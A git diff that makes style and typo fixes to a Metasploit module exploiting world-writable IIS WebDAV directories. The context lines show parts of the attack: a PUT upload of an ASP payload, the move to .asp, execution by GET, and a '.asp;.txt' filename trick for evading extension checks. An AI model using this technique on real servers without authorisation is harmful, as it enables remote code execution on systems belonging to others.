diff --git a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb
index 55392c83c4..60c0e47956 100644
--- a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb
+++ b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def initialize
     super(
       'Name'        => 'Microsoft IIS WebDAV Write Access Code Execution',
-      'Description'    => %q{
+      'Description' => %q{
           This module can be used to execute a payload on IIS servers that
         have world-writeable directories. The payload is uploaded as an ASP
         script via a WebDAV PUT request.
@@ -40,16 +40,16 @@ class Metasploit3 < Msf::Exploit::Remote
 
     register_options(
       [
-        # The USERNAME and PASSWORD are registered again to make them more obvious they're
-        # configurable.
+      # The USERNAME and PASSWORD are registered again to make them more obvious they're
+      # configurable.
       OptString.new('USERNAME',
         [false, 'The HTTP username to specify for authentication', '']),
       OptString.new('PASSWORD',
         [false, 'The HTTP password to specify for authentication', '']),
       OptString.new('PATH',
-        [ true,  "The path to attempt to upload", '/metasploit%RAND%.asp']),
+        [ true, 'The path to attempt to upload', '/metasploit%RAND%.asp']),
       OptEnum.new('METHOD',
-        [true, 'Move or copy the file on the remote system from .txt -> .asp', 'move', ['move','copy']])
+        [ true, 'Move or copy the file on the remote system from .txt -> .asp', 'move', ['move','copy']])
       ], self.class)
   end
 
@@ -75,13 +75,13 @@ class Metasploit3 < Msf::Exploit::Remote
       'method'       => 'GET',
     }, 20)
 
-    if (!res)
-      print_error("Connection timed out while trying to check #{path}")
+    unless res
+      print_error("Connection timed out while trying to checking #{path}")
       return
     end
 
-  if (res.code == 200)
-      print_error("File #{path} alrady exists on the target")
+    if (res.code == 200)
+      print_error("File #{path} already exists on the target")
       return
     end
 
@@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote
       return
     end
 
-    if (!res)
+    unless res
       print_error("Connection timed out while uploading to #{path_tmp}")
       return
     end
@@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
           'headers'      => {'Destination' => path}
       }, 20)
 
-      if (!res)
+      unless res
         print_error("Connection timed out while moving to #{path}")
         return
       end
@@ -157,9 +157,7 @@ class Metasploit3 < Msf::Exploit::Remote
       'method'       => 'GET'
     }, 20)
 
-    sleep(2)
-
-    if (!res)
+    unless res
       print_error("Execution failed on #{path} [No Response]")
       return
     end
@@ -170,7 +168,7 @@ class Metasploit3 < Msf::Exploit::Remote
       when 'Not Found', 'Object Not Found'
         print_error("The #{datastore['METHOD'].upcase} action failed. Possibly IIS doesn't allow 'Script Resource Access'")
         print_warning("Try using 'set METHOD #{alt_method}' instead")
-        vprint_warning("Pro Tip: Try 'set PATH /metasploit%RAND%.asp;.txt' instead") if not path.include? ";"
+        vprint_warning("Pro Tip: Try 'set PATH /metasploit%RAND%.asp;.txt' instead") unless path.include? ";"
       end
       return
     end
@@ -186,13 +184,13 @@ class Metasploit3 < Msf::Exploit::Remote
       'method'       => 'DELETE'
     }, 20)
 
-    if (!res)
+    unless res
       print_error("Deletion failed on #{path} [No Response]")
       return
     end
 
     if (res.code < 200 or res.code >= 300)
-      # Changed this to a warning, because red is scary and if this aprt fails,
+      # Changed this to a warning, because red is scary and if this part fails,
       # honestly it's not that bad. In most cases this is probably expected anyway
       # because by default we're using IWAM_*, which doesn't give us a lot of
       # freedom to begin with.